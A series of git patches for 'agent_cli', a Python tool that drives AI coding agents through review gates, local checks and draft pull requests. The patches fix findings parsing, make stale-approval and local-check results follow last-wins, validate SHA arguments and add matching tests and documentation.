stdout="STATUS: complete\nFINDINGS: none\n", + stderr="", + ) + + monkeypatch.setattr("agent_cli.run_core.launch", approve_launch) + outcome = execute_spine_step( + store, + tid, + head=head, + spec_file=str(spec), + cwd=str(tmp_path), + tmux=False, + exec_argv=fake_exec, + ) + assert outcome.key == "grok_pr_quality" + assert _checklist(tmp_path, tid)["grok_pr_quality"] == "ja" + + # 3) grok_pr_logic rejects @ old_sha -> resets the spine, new round. + def reject_launch(**kwargs): # type: ignore[no-untyped-def] + return LaneResult( + role=kwargs["role"], + vendor=kwargs["vendor"], + status="complete", + argv=[kwargs["vendor"]], + returncode=0, + stdout="STATUS: complete\nFINDINGS:\n- fix the retry loop\n", + stderr="", + ) + + monkeypatch.setattr("agent_cli.run_core.launch", reject_launch) + outcome = execute_spine_step( + store, + tid, + head=head, + spec_file=str(spec), + cwd=str(tmp_path), + tmux=False, + exec_argv=fake_exec, + ) + assert outcome.kind == "rejected_new_round" + assert _checklist(tmp_path, tid)["grok_pr_quality"] != "ja" + assert _checklist(tmp_path, tid)["pushed"] != "ja" + + # 4) Re-drive implementer_done -> reviewer_approved -> local_check_pass + # -> pushed @ new_sha. Deliberately stop here -- grok_pr_quality / + # grok_pr_logic for the new round have NOT run yet, so the only + # gate rows in the ledger are the stale old_sha ones from step 2/3. + def pass_launch(**kwargs): # type: ignore[no-untyped-def] + return LaneResult( + role=kwargs["role"], + vendor=kwargs["vendor"], + status="complete", + argv=[kwargs["vendor"]], + returncode=0, + stdout="STATUS: complete\nFINDINGS: none\n", + stderr="", + ) + + monkeypatch.setattr("agent_cli.run_core.launch", pass_launch) + outcome = None + for expected_key in ( + "implementer_done", + "reviewer_approved", + "local_check_pass", + "pushed", + ): + outcome = execute_spine_step( + store, + tid, + head=None, + spec_file=str(spec), + cwd=str(tmp_path), + tmux=False, + exec_argv=fake_exec, + ) + assert outcome.key == expected_key, ( + outcome.key, + outcome.kind, + outcome.reason, + ) + assert _checklist(tmp_path, tid)["pushed"] == "ja" + assert outcome is not None + assert outcome.head_sha == new_sha + + # 5) The scenario under test: a snapshot built the way a brand-new + # process would build it -- no extra_head, nothing threaded in memory. + fresh_snap = main_mod._chain_snapshot(store, tid) + assert fresh_snap["head_sha"] == new_sha, ( + f"fresh snapshot resolved head={fresh_snap['head_sha']!r}, expected " + f"the current pushed sha {new_sha!r} (stale-head cross-scan bug)" + ) + verdict = close_allowed( + "implement", + "grok_pr_quality", + checklist=fresh_snap["checklist"], + source="script", + evidence="run auto", + snapshot=fresh_snap, + ) + assert not verdict.allowed, ( + "grok_pr_quality must not auto-close from the stale pre-rejection " + "approval recorded at the old head" + ) + finally: + store.close() From 37e2a7ee956d32704fc4ef8e867496019d5a9d87 Mon Sep 17 00:00:00 2001 From: Daniel Padrino Date: Wed, 2 Sep 2026 09:44:22 -0300 Subject: [PATCH 05/47] Close the remaining gaps from the first two formal gate rounds. Two narrower-scope recurrences of previously-fixed bug classes: the FINDINGS-body terminator allowlist still let REASON/SCOPE/DIMENSION/STATUS truncate a real finding (same auto-pass-bypass risk as the original ERROR: case, smaller trigger set), and has_fresh didn't use last-wins like _artifact_ok, deadlocking a pass-then-fail local-check sequence. Plus three real test-coverage gaps (an untested privilege-relevant spec generator, an untested new --head validator, a legacy-row test that wasn't actually testing what it claimed) and process/doc cleanup. 743 tests pass. Co-Authored-By: Claude Sonnet 5 Claude-Session: https://claude.ai/code/session_017TZHqRN57WvdUXvYdmLVZe --- src/agent_cli/chain.py | 11 +- src/agent_cli/fixer_act.py | 4 +- src/agent_cli/git_act.py | 4 - src/agent_cli/lane.py | 11 +- src/agent_cli/main.py | 13 +- src/agent_cli/run_core.py | 22 ++- src/agent_cli/skills/error-fix/SKILL.md | 2 + tests/test_chain.py | 35 ++++ tests/test_fixer_act.py | 106 ++++++++++++ tests/test_lane.py | 44 +++++ tests/test_origin_seq_ordering.py | 21 ++- tests/test_run.py | 209 ++++++++++++++++++++++++ 12 files changed, 456 insertions(+), 26 deletions(-) diff --git a/src/agent_cli/chain.py b/src/agent_cli/chain.py index 42048c6..8574c1e 100644 --- a/src/agent_cli/chain.py +++ b/src/agent_cli/chain.py @@ -396,10 +396,17 @@ def _artifact_ok(step: Step, snapshot: dict[str, Any]) -> str: for c in checks if str(c.get("head_sha") or "").strip().lower() == want ] - if any(c.get("result") == "fail" for c in for_head): + # Last row per name wins (list is oldest→newest), same as unbound. + latest: dict[str, Any] = {} + for c in for_head: + name = c.get("name") + if name is not None: + latest[str(name)] = c + latest_list = list(latest.values()) + if any(c.get("result") == "fail" for c in latest_list): return "local_check fail" if not any( - str(c.get("result") or "") in ("pass", "skip") for c in for_head + str(c.get("result") or "") in ("pass", "skip") for c in latest_list ): return "no local_check for current head" return "" diff --git a/src/agent_cli/fixer_act.py b/src/agent_cli/fixer_act.py index 3f0b6f8..370e8ac 100644 --- a/src/agent_cli/fixer_act.py +++ b/src/agent_cli/fixer_act.py @@ -388,7 +388,6 @@ def _drive_one( repo = _repo_ok(payload.get("repo") or task.get("repo")) or "" brief = _error_fix_brief(store, session_id, error_id) or "" worktree = Path(store.home) / "error-fix-work" / tid - cwd = str(worktree) if worktree.is_dir() else str(store.home) # Thread pushed SHA across steps (mirrors cmd_run's extra_head=head). head: str | None = None steps = 0 @@ -398,6 +397,9 @@ def _drive_one( task = store.row("task", tid) or task if str(task.get("state") or "") in ("done", "failed"): return f"error-fix-work {tid} state={task.get('state')}" + if not (worktree / ".git").is_dir(): + return f"error-fix-work {tid} worktree-not-ready" + cwd = str(worktree) snap = main_mod._chain_snapshot(store, tid, extra_head=head) if not is_error_fix_originated(snap): diff --git a/src/agent_cli/git_act.py b/src/agent_cli/git_act.py index 4ee226f..4e375b2 100644 --- a/src/agent_cli/git_act.py +++ b/src/agent_cli/git_act.py @@ -70,10 +70,6 @@ def push_branch(*, cwd: str, runner: Runner) -> str: if completed.returncode != 0: raise GitActError(_fail_detail(completed, "git push failed")) else: - upstream = completed.stdout.strip() - if not upstream: - raise GitActError("no upstream") - completed = runner(_git(cwd, "config", "--get", f"branch.{branch}.remote")) if completed.returncode != 0 or not completed.stdout.strip(): raise GitActError("no upstream remote") diff --git a/src/agent_cli/lane.py b/src/agent_cli/lane.py index f672e5d..2a2ee78 100644 --- a/src/agent_cli/lane.py +++ b/src/agent_cli/lane.py @@ -26,10 +26,13 @@ r"(?m)^STATUS:[ \t]*(complete|partial|timeout|unavailable)[ \t]*\r?$", re.IGNORECASE, ) -# FINDINGS section: header line, then entries until the next ALL-CAPS section header -# (STATUS / REASON / SCOPE / DIMENSION / NOT-VERIFIABLE / GAPS / …) or end of text. +# FINDINGS section: header line, then entries until NOT-VERIFIABLE / GAPS / +# a duplicate FINDINGS header, or end of text. STATUS / REASON / SCOPE / +# DIMENSION are not terminators — they may appear as finding text. _FINDINGS_HEADER_RE = re.compile(r"(?m)^FINDINGS:[ \t]*(.*)$", re.IGNORECASE) -_SECTION_HEADER_RE = re.compile(r"(?m)^[A-Z][A-Z0-9_-]*:([ \t]|$)") +_FINDINGS_TERMINATOR_RE = re.compile( + r"(?m)^(?:FINDINGS|NOT-VERIFIABLE|GAPS):([ \t]|$)", re.IGNORECASE +) _ZERO_TOKENS = frozenset({"", "0", "none", "n/a", "-", "—", "–"}) @@ -68,7 +71,7 @@ def count_findings(text: str) -> int: if same_line: body_lines.append(same_line) for line in after.splitlines(): - if _SECTION_HEADER_RE.match(line): + if _FINDINGS_TERMINATOR_RE.match(line): break body_lines.append(line) entries = 0 diff --git a/src/agent_cli/main.py b/src/agent_cli/main.py index c669fb6..b953987 100644 --- a/src/agent_cli/main.py +++ b/src/agent_cli/main.py @@ -958,8 +958,9 @@ def cmd_agent(args: list[str]) -> None: print(f"agent {aid} verdict={verdict}") return if role == "implementer": + # unavailable already handled by the early return above. if verdict not in ("done", "blocked"): - die("implementer verdict must be done|blocked|unavailable") + die("implementer verdict must be done|blocked") if agent.get("round") != int(task.get("current_round") or 0): die("agent round is not the current round") if task.get("state") != "implementing": @@ -977,8 +978,9 @@ def cmd_agent(args: list[str]) -> None: task["updated_at"] = utcnow() store.write("task", "update", task["id"], _strip(task)) elif role == "reviewer": + # unavailable already handled by the early return above. if verdict not in ("approved", "rejected"): - die("reviewer verdict must be approved|rejected|unavailable") + die("reviewer verdict must be approved|rejected") if agent.get("round") != int(task.get("current_round") or 0): die("agent round is not the current round") if task.get("state") != "reviewing": @@ -997,8 +999,9 @@ def cmd_agent(args: list[str]) -> None: task["updated_at"] = utcnow() store.write("task", "update", task["id"], _strip(task)) elif role in ("pr-reviewer-quality", "pr-reviewer-logic"): + # unavailable already handled by the early return above. if verdict not in ("approved", "rejected"): - die("pr-reviewer verdict must be approved|rejected|unavailable") + die("pr-reviewer verdict must be approved|rejected") _require_owned(store, task, "task") else: die(f"unknown agent role: {role}") @@ -1030,6 +1033,10 @@ def cmd_check(args: list[str]) -> None: die("result must be pass|fail|skip") if result == "skip" and (output is None or output == ""): die("skip requires --output") + if head: + head = head.lower() + if not _SHA_RE.fullmatch(head): + die("--head must be a git SHA (lowercase hex, length 7-40)") store = open_store() try: task = _need(store, "task", tid) diff --git a/src/agent_cli/run_core.py b/src/agent_cli/run_core.py index 2ed71be..acc40cd 100644 --- a/src/agent_cli/run_core.py +++ b/src/agent_cli/run_core.py @@ -385,7 +385,7 @@ def build_review_spec_file( return str(spec_path) -def _reset_keys(store: Any, tid: str, keys: tuple[str, ...], *, evidence: str) -> None: +def _reset_keys(store: Store, tid: str, keys: tuple[str, ...], *, evidence: str) -> None: checklist = { str(r["key"]): str(r["status"]) for r in store.rows("checklist_item") @@ -397,12 +397,12 @@ def _reset_keys(store: Any, tid: str, keys: tuple[str, ...], *, evidence: str) - def _resolve_gate_head( - store: Any, + store: Store, tid: str, head: str | None, *, cwd: str | None = None, - exec_argv: Callable[..., Any] | None = None, + exec_argv: ExecArgv | None = None, ) -> str: """Resolve a git SHA for gate record: explicit head, pushed evidence, or HEAD.""" if head and _SHA_RE.fullmatch(head.lower()): @@ -472,7 +472,7 @@ def _apply_rejection_resets( def _finish_agent_pass( - store: Any, + store: Store, tid: str, *, role: str, @@ -482,7 +482,7 @@ def _finish_agent_pass( result: LaneResult, step: Step, cwd: str | None = None, - exec_argv: Callable[..., Any] | None = None, + exec_argv: ExecArgv | None = None, ) -> RunOutcome: from . import main as main_mod @@ -892,15 +892,21 @@ def execute_spine_step( ) has_fresh = False if check_head: + latest_local: dict | None = None for c in snap.get("local_checks") or []: if not isinstance(c, dict): continue if str(c.get("name") or "") != "local": continue row_head = str(c.get("head_sha") or "").strip().lower() - if row_head and row_head == check_head: - has_fresh = True - break + if row_head != check_head: + continue + latest_local = c # oldest→newest; last one wins + if latest_local is not None and str(latest_local.get("result") or "") in ( + "pass", + "skip", + ): + has_fresh = True if not has_fresh: env_cmd = os.environ.get("AGENT_CHECK_COMMAND") if env_cmd is None: diff --git a/src/agent_cli/skills/error-fix/SKILL.md b/src/agent_cli/skills/error-fix/SKILL.md index 7913670..ced1766 100644 --- a/src/agent_cli/skills/error-fix/SKILL.md +++ b/src/agent_cli/skills/error-fix/SKILL.md @@ -57,6 +57,7 @@ agent activity add --session --type error.skip --payload-file agent activity add --session --type error.fix --payload-file agent task create --session --workflow implement --title "Fix error" --error-id agent watch error-fix +agent watch error-fix-work # one scan; drains spec_written through draft pr.open (§21.7); not wired into agent daemon agent github pending ``` @@ -79,6 +80,7 @@ stay out of this public client. ```bash agent watch errors # one scan; knock daemon (no --once) polls every 60s agent watch error-fix # one scan; find-or-create task + worktree; knock daemon polls with grok-usage +agent watch error-fix-work # one scan; drains spec_written through draft pr.open (§21.7); not wired into agent daemon ``` This file ships in the packaged tree. `agent skills path` may print an diff --git a/tests/test_chain.py b/tests/test_chain.py index bde6672..61d5c69 100644 --- a/tests/test_chain.py +++ b/tests/test_chain.py @@ -275,6 +275,41 @@ def test_gate_close_needs_approved_record(self) -> None: ) self.assertTrue(v2.allowed) + def test_local_check_bound_head_last_wins_over_earlier_fail(self) -> None: + """Same-head fail then later pass must allow closing local_check_pass.""" + cl = _pending("implement") + for k in ( + "session_registered", + "spec_written", + "implementer_done", + "reviewer_approved", + ): + cl[k] = "ja" + head = "cccccccccccccccccccccccccccccccccccccccc" + allowed = close_allowed( + "implement", + "local_check_pass", + checklist=cl, + source="script", + evidence="run auto", + snapshot={ + "head_sha": head, + "local_checks": [ + { + "name": "local", + "result": "fail", + "head_sha": head, + }, + { + "name": "local", + "result": "pass", + "head_sha": head, + }, + ], + }, + ) + self.assertTrue(allowed.allowed) + def test_gate_close_rejects_stale_head_approval(self) -> None: """An approved gate for a different head must not satisfy the current head.""" cl = _pending("implement") diff --git a/tests/test_fixer_act.py b/tests/test_fixer_act.py index cc1017d..a5dcd61 100644 --- a/tests/test_fixer_act.py +++ b/tests/test_fixer_act.py @@ -3,6 +3,7 @@ from __future__ import annotations import os +import shutil import uuid from pathlib import Path @@ -14,6 +15,7 @@ _runner_to_completed, drive_error_fix_tasks, template_pr_open_payload, + write_error_fix_spec, ) from agent_cli.git_act import GitActError from agent_cli.lane import LaneResult, findings_header_present @@ -155,6 +157,7 @@ def _bootstrap_error_fix_task( run(home, ["round", "start", "--task", tid]) worktree = home / "error-fix-work" / tid worktree.mkdir(parents=True, exist_ok=True) + (worktree / ".git").mkdir(exist_ok=True) (worktree / ".spec.md").write_text("# Task\n\nfix it\n", encoding="utf-8") capsys.readouterr() return tid @@ -186,6 +189,71 @@ def test_findings_header_present_distinguishes_absent() -> None: assert findings_header_present("FINDINGS:\n- a real finding\n") is True +def test_write_error_fix_spec_omits_raw_log_fields(tmp_path: Path) -> None: + """write_error_fix_spec must never leak excerpt/message/stack into the spec body.""" + secret_excerpt = "SECRET_EXCERPT_TOKEN_xyz raw stack trace line" + secret_message = "SECRET_MESSAGE_TOKEN_xyz" + secret_stack = "SECRET_STACK_TOKEN_xyz at foo.py:1" + store = _store(tmp_path) + try: + store.write( + "activity", + "insert", + ERROR_ID, + { + "id": ERROR_ID, + "session_id": "sess-1", + "type": "error.seen", + "payload": { + "fingerprint": "api|TimeoutError|abc|prod", + "repo": "org/app", + "service": "api", + "environment": "prod", + "class": "TimeoutError", + "excerpt": secret_excerpt, + "message": secret_message, + "stack": secret_stack, + }, + "execution_status": "done", + }, + ) + store.write( + "activity", + "insert", + "fix-1", + { + "id": "fix-1", + "session_id": "sess-1", + "type": "error.fix", + "payload": { + "error_id": ERROR_ID, + "fingerprint": "api|TimeoutError|abc|prod", + "brief": "Timeout in handler; add retry.", + }, + "execution_status": "pending", + }, + ) + tid = str(uuid.uuid4()) + path = write_error_fix_spec( + store, + tid, + error_id=ERROR_ID, + session_id="sess-1", + repo="org/app", + ) + text = path.read_text(encoding="utf-8") + assert "# Context" in text + assert "# Task" in text + assert "# Constraints" in text + assert "# Verification" in text + assert "# Definition of Done" in text + assert secret_excerpt not in text + assert secret_message not in text + assert secret_stack not in text + finally: + store.close() + + def test_fixer_threads_pushed_head_into_pr_gate( tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch ) -> None: @@ -240,6 +308,44 @@ def fake_launch(**kwargs): # type: ignore[no-untyped-def] assert _checklist(tmp_path, tid)["pushed"] == "ja" +def test_fixer_defers_when_worktree_not_ready( + tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch +) -> None: + """Task row without a materialized worktree .git must defer without running steps.""" + tid = _bootstrap_error_fix_task(tmp_path, capsys) + worktree = tmp_path / "error-fix-work" / tid + git_dir = worktree / ".git" + assert git_dir.is_dir() + shutil.rmtree(git_dir) + assert not git_dir.exists() + + before_state = _task_state(tmp_path, tid) + called = {"n": 0} + + def spy_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] + called["n"] += 1 + return Completed(0, "", "") + + monkeypatch.setattr("agent_cli.fixer_act._runner_to_completed", spy_rtc) + + store = _store(tmp_path) + try: + task = store.row("task", tid) + assert task is not None + result = _drive_one( + store, + task, + runner=lambda argv: Completed(0, "", ""), + round_cap=5, + ) + finally: + store.close() + + assert "worktree-not-ready" in result + assert called["n"] == 0 + assert _task_state(tmp_path, tid) == before_state + + def test_fixer_local_check_exec_uses_worktree_cwd( tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch ) -> None: diff --git a/tests/test_lane.py b/tests/test_lane.py index 742034c..ae0683d 100644 --- a/tests/test_lane.py +++ b/tests/test_lane.py @@ -59,6 +59,50 @@ def test_count_findings_stops_at_next_section_header() -> None: assert count_findings(text) == 2 +def test_count_findings_terminator_is_case_insensitive() -> None: + """Non-canonical-case NOT-VERIFIABLE:/GAPS: still terminate the body.""" + text = ( + "STATUS: complete\n" + "FINDINGS:\n" + "- real one\n" + "- real two\n" + "Not-Verifiable:\n" + "- skip me\n" + "gaps:\n" + "- skip me too\n" + ) + assert count_findings(text) == 2 + + +def test_count_findings_unbulleted_error_line_is_not_section_header() -> None: + """Unbulleted ALL-CAPS lines inside FINDINGS: must not truncate the body.""" + text = ( + "STATUS: complete\n" + "FINDINGS:\n" + "ERROR: SQL injection in auth.py:42\n" + "GAPS:\n" + "- later section\n" + ) + assert count_findings(text) >= 1 + + +@pytest.mark.parametrize( + "word", + ["REASON", "SCOPE", "DIMENSION", "STATUS"], +) +def test_count_findings_unbulleted_preamble_word_is_not_terminator(word: str) -> None: + """Unbulleted FINDINGS lines starting with preamble words must count, not truncate.""" + text = ( + "STATUS: complete\n" + "FINDINGS:\n" + f"{word}: null dereference in parser.py:88\n" + "- second real finding\n" + "GAPS:\n" + "- later section\n" + ) + assert count_findings(text) >= 1 + + def test_count_findings_absent_header_is_zero() -> None: """Absent FINDINGS: also returns 0; callers use findings_header_present() to distinguish.""" assert count_findings("STATUS: complete\nREASON: ok\n") == 0 diff --git a/tests/test_origin_seq_ordering.py b/tests/test_origin_seq_ordering.py index 623bedb..ce13aa4 100644 --- a/tests/test_origin_seq_ordering.py +++ b/tests/test_origin_seq_ordering.py @@ -16,7 +16,17 @@ load_task_dict, main, ) -from agent_cli.store import Store +from agent_cli.store import Store, dumps + + +def _insert_legacy_row(store: Store, table: str, row_id: str, payload: dict) -> None: + """Write directly into row_data, bypassing _write_in_txn's origin_seq auto-stamp — + simulates a genuinely pre-origin_seq legacy row (no origin_seq key at all).""" + origin = store.device_id() + with store._lock, store.conn.transaction(): + store._upsert_row( + table, row_id, origin, dumps(payload), str(payload.get("recorded_at") or "") + ) def _run(home: Path, argv: list[str]) -> None: @@ -199,9 +209,9 @@ def test_missing_origin_seq_sorts_before_stamped_rows(tmp_path: Path) -> None: store = Store(tmp_path) try: tid = "task-legacy" - store.write( + _insert_legacy_row( + store, "review_gate", - "insert", "g-legacy", { "id": "g-legacy", @@ -227,9 +237,12 @@ def test_missing_origin_seq_sorts_before_stamped_rows(tmp_path: Path) -> None: "verdict": "rejected", "head_sha": "new", "recorded_at": "2026-01-01T00:00:00Z", - "origin_seq": 1, }, ) + legacy = next( + r for r in store.rows("review_gate") if r.get("id") == "g-legacy" + ) + assert "origin_seq" not in legacy latest = _latest_gates(store, tid) assert latest[("grok-pr", "quality")]["id"] == "g-stamped" finally: diff --git a/tests/test_run.py b/tests/test_run.py index 53c3e46..923e64f 100644 --- a/tests/test_run.py +++ b/tests/test_run.py @@ -1053,6 +1053,215 @@ def fake_exec(argv: list[str], *, cwd: str | None = None) -> Completed: store.close() +def test_check_record_rejects_invalid_head(tmp_path: Path) -> None: + """--head must be a lowercase hex git SHA; ref names are refused before store access.""" + with pytest.raises(SystemExit, match="--head must be a git SHA"): + run( + tmp_path, + [ + "check", + "record", + "--task", + "does-not-matter", + "--name", + "local", + "--command", + "pytest -q", + "--result", + "pass", + "--head", + "origin/develop", + ], + ) + + +def test_local_check_reruns_after_same_head_fail( + tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch +) -> None: + """A prior fail for the current head must not suppress a re-run; later pass satisfies.""" + from agent_cli.run_core import execute_spine_step + + tid = _bootstrap_implement(tmp_path, capsys) + _finish_implementer(tmp_path, tid, capsys) + run(tmp_path, ["run", "--task", tid]) + _finish_reviewer(tmp_path, tid, capsys) + run(tmp_path, ["run", "--task", tid]) + capsys.readouterr() + assert _checklist(tmp_path, tid)["local_check_pass"] != "ja" + + same_sha = "cccccccccccccccccccccccccccccccccccccccc" + run( + tmp_path, + [ + "check", + "record", + "--task", + tid, + "--name", + "local", + "--command", + "pytest -q", + "--result", + "fail", + "--output", + "boom", + "--head", + same_sha, + ], + ) + capsys.readouterr() + assert any( + c.get("name") == "local" + and c.get("result") == "fail" + and str(c.get("head_sha") or "").lower() == same_sha + for c in _local_checks(tmp_path, tid) + ) + + store = _store(tmp_path) + try: + task = store.row("task", tid) + assert task is not None + task = dict(task) + task["state"] = "local-check" + store.write( + "task", + "update", + tid, + {k: v for k, v in task.items() if not str(k).startswith("_")}, + ) + + check_calls = {"n": 0} + + def fake_exec(argv: list[str], *, cwd: str | None = None) -> Completed: + if argv[:2] == ["git", "rev-parse"] and "HEAD" in argv: + return Completed(0, same_sha + "\n", "") + if argv and argv[0] == "pytest": + check_calls["n"] += 1 + return Completed(0, "ok\n", "") + return Completed(0, "", "") + + outcome = execute_spine_step( + store, + tid, + head=same_sha, + cwd=str(tmp_path), + tmux=False, + exec_argv=fake_exec, + ) + assert check_calls["n"] == 1, "must re-run check after same-head fail" + assert outcome.kind in ("closed", "agent_closed") or outcome.key == "local_check_pass" + checks = [c for c in store.rows("local_check") if c.get("task_id") == tid] + assert any( + c.get("name") == "local" + and c.get("result") == "pass" + and str(c.get("head_sha") or "").lower() == same_sha + for c in checks + ) + finally: + store.close() + assert _checklist(tmp_path, tid)["local_check_pass"] == "ja" + + +def test_local_check_reruns_after_same_head_pass_then_fail( + tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch +) -> None: + """Last-wins: a later same-head fail must re-run even when an earlier pass exists.""" + from agent_cli.run_core import execute_spine_step + + tid = _bootstrap_implement(tmp_path, capsys) + _finish_implementer(tmp_path, tid, capsys) + run(tmp_path, ["run", "--task", tid]) + _finish_reviewer(tmp_path, tid, capsys) + run(tmp_path, ["run", "--task", tid]) + capsys.readouterr() + assert _checklist(tmp_path, tid)["local_check_pass"] != "ja" + + same_sha = "dddddddddddddddddddddddddddddddddddddddd" + run( + tmp_path, + [ + "check", + "record", + "--task", + tid, + "--name", + "local", + "--command", + "pytest -q", + "--result", + "pass", + "--output", + "ok", + "--head", + same_sha, + ], + ) + run( + tmp_path, + [ + "check", + "record", + "--task", + tid, + "--name", + "local", + "--command", + "pytest -q", + "--result", + "fail", + "--output", + "regression", + "--head", + same_sha, + ], + ) + capsys.readouterr() + + store = _store(tmp_path) + try: + task = store.row("task", tid) + assert task is not None + task = dict(task) + task["state"] = "local-check" + store.write( + "task", + "update", + tid, + {k: v for k, v in task.items() if not str(k).startswith("_")}, + ) + + check_calls = {"n": 0} + + def fake_exec(argv: list[str], *, cwd: str | None = None) -> Completed: + if argv[:2] == ["git", "rev-parse"] and "HEAD" in argv: + return Completed(0, same_sha + "\n", "") + if argv and argv[0] == "pytest": + check_calls["n"] += 1 + return Completed(0, "ok\n", "") + return Completed(0, "", "") + + outcome = execute_spine_step( + store, + tid, + head=same_sha, + cwd=str(tmp_path), + tmux=False, + exec_argv=fake_exec, + ) + assert check_calls["n"] == 1, "must re-run check after same-head pass→fail" + assert outcome.kind in ("closed", "agent_closed") or outcome.key == "local_check_pass" + checks = [c for c in store.rows("local_check") if c.get("task_id") == tid] + assert any( + c.get("name") == "local" + and c.get("result") == "pass" + and str(c.get("head_sha") or "").lower() == same_sha + for c in checks + ) + finally: + store.close() + assert _checklist(tmp_path, tid)["local_check_pass"] == "ja" + + def test_local_check_reruns_after_pr_rejection_with_new_head( tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch ) -> None: From 19296432e27007db40ec3f099b08a428a7cabd0c Mon Sep 17 00:00:00 2001 From: Daniel Padrino Date: Wed, 2 Sep 2026 10:50:03 -0300 Subject: [PATCH 06/47] Add a branch-identity check before the unattended first push. The auto-first-push path had no check that the branch being pushed actually matched the task it belongs to, gated only by the develop/main/master protected-branch list. For a pipeline with no human between implement and push, that's a real control gap: verify the current branch against the task's expected error-fix- branch before pushing, fail loud otherwise. Also closes an empty-review-diff gate (a reviewer could previously report against nothing) and a template-echo parsing edge case, plus doc/README sync. 749 tests pass. Co-Authored-By: Claude Sonnet 5 Claude-Session: https://claude.ai/code/session_017TZHqRN57WvdUXvYdmLVZe --- DESIGN.md | 6 +- README.md | 3 +- src/agent_cli/fixer_act.py | 3 +- src/agent_cli/git_act.py | 6 +- src/agent_cli/run_core.py | 26 +++- src/agent_cli/skills/error-fix/SKILL.md | 11 +- tests/test_fixer_act.py | 70 +++++++++-- tests/test_git_act.py | 16 +++ tests/test_lane.py | 7 ++ tests/test_run.py | 158 +++++++++++++++++++++++- 10 files changed, 283 insertions(+), 23 deletions(-) diff --git a/DESIGN.md b/DESIGN.md index cedf3e8..3de31ac 100644 --- a/DESIGN.md +++ b/DESIGN.md @@ -419,7 +419,7 @@ agent watch grok-usage # one scan; knock child (under th agent watch assigned [--follow] # allowlisted GitHub assignments → runner session + knock agent watch errors # one scan; $AGENT_HOME/error-fix.json; knock daemon polls with grok-usage agent watch error-fix # one scan; find-or-create implement task + isolated worktree; knock daemon polls with grok-usage -agent watch error-fix-work # one scan; drains error-fix implement tasks from spec_written through a draft pr.open (§21.7); not wired into agent daemon +agent watch error-fix-work # one scan; drains error-fix implement tasks from spec_written through PR gates to done (§21.7); not wired into agent daemon agent supervise --session ID [--repo OWNER/REPO --number N] [--once|--follow] agent status agent dashboard [--port 7845] @@ -676,13 +676,13 @@ For confirmed error-fix tasks only (same `error_fix_confirmed` condition), `clos ### 21.7 Automated fixer driver -`agent watch error-fix-work` drains open error-fix `implement` tasks on this device (`payload.error_id` set and a matching `error.fix` confirmed for that id in the same session, state not `done`/`failed`) from `spec_written` through a draft `pr.open`, using only script control flow and the `grok`/`codex` CLIs via `lane.launch()`. It is not wired into `agent daemon`. +`agent watch error-fix-work` drains open error-fix `implement` tasks on this device (`payload.error_id` set and a matching `error.fix` confirmed for that id in the same session, state not `done`/`failed`) from `spec_written` through a draft `pr.open`, the PR gates (`grok_pr_quality`, `grok_pr_logic`, `codex_pr_quality`, `codex_pr_logic`, plus the scripted `contributing_ok` carve-out), and task state `done`, using only script control flow and the `grok`/`codex` CLIs via `lane.launch()`. A human still merges the PR; the spine has no `merged` step. It is not wired into `agent daemon`. - Scripts the five-part spec under `$AGENT_HOME/error-fix-work//.spec.md` from the `error.fix` brief plus `error.seen` metadata (never raw log excerpts), closes `spec_written` via the script carve-out above, then `agent round start`. - Walks the spine with the same step executor as `agent run` (including auto pass/fail for reviewer and PR-reviewer lanes from `STATUS:` + `FINDINGS:`). Round retries reset the relevant checklist keys to `nein` and call `agent round start`. Cap is `task.current_round` against 5: exceeding it sets `task state failed` and stops touching that task. - If a vendor CLI binary is missing (`OSError` / `FileNotFoundError` before any `LaneResult`) or a lane returns `LaneResult(status="unavailable")` on both the initial attempt and the one retry, the driver leaves task and checklist state untouched for retry, but releases any already-started agent row (`cmd_agent finish --verdict unavailable`) rather than leaving it `working` forever — notes the CLI looks unavailable, and moves on; the next scan retries after a human fixes PATH/auth. - Each scan re-checks from the ledger (not per-call local state) whether `pushed` is closed but no successful (`done`) `pr.open` activity row exists yet for that task's branch head. A mid-flight `pending` row is resumed via `scan_github` (no duplicate insert); an `error` row or missing row triggers a fresh `insert_pr_open_and_scan` — so a failed insert is not silently skipped by the next scan. -- After `pushed`, inserts a pending `pr.open` (title/body per CONTRIBUTING) and runs `agent github pending`. +- After `pushed`, inserts a pending `pr.open` (title/body per CONTRIBUTING) and runs `agent github pending`, then continues through the PR gates to `done`. - Failing a task via lane retry-exhaustion also finishes the still-working agent row (`blocked` for implementer, `rejected` for reviewer/pr-reviewer roles) so the row does not block a later manual round-start recovery. ## 22. Static supervise loop (v1) diff --git a/README.md b/README.md index dbcf15e..3c30d2a 100644 --- a/README.md +++ b/README.md @@ -77,7 +77,7 @@ agent pg status agent pg stop ``` -`agent run` records a local check when `local_check_pass` is open and the snapshot has no local checks yet (it does not rerun an existing failed check). It closes an agent step when the session store already has the artifact, and with `--spec-file` launches the vendor lane (tmux by default; `--no-tmux` for a subprocess). When `pushed` is open it git-pushes (no force) and closes with the HEAD sha; when `mergeable` is open it measures GitHub mergeability and checks and closes only if both are green. Reviewer lanes are not auto-approved from `STATUS: complete`. +`agent run` records a local check when `local_check_pass` is open and there is no fresh pass/skip for the current HEAD (a prior fail on that HEAD is rerun). It closes an agent step when the session store already has the artifact, and with `--spec-file` launches the vendor lane (tmux by default; `--no-tmux` for a subprocess). When `pushed` is open it git-pushes (no force) and closes with the HEAD sha; when `mergeable` is open it measures GitHub mergeability and checks and closes only if both are green. Reviewer and PR-reviewer lanes auto-pass when `STATUS: complete` and `FINDINGS:` parses to zero. `agent github pending` is one scan: owned pending `pr.open`, `comment.post`, `review.post`, and `issue.write` rows via `gh`. Pull requests are drafts. A retry reuses an existing open draft, issue, or comment instead of creating a second one. @@ -96,6 +96,7 @@ agent watch grok-usage # one scan of SuperGrok weekly credits into usage.snapsh agent watch assigned [--follow] # allowlisted assignments; needs `gh` and `$AGENT_HOME/watch.json` agent watch errors # one scan; $AGENT_HOME/error-fix.json; no log host in this package agent watch error-fix # one scan; find-or-create implement task + isolated worktree +agent watch error-fix-work # one scan; drains error-fix implement tasks from spec_written through PR gates to done; not wired into agent daemon agent supervise --session ID 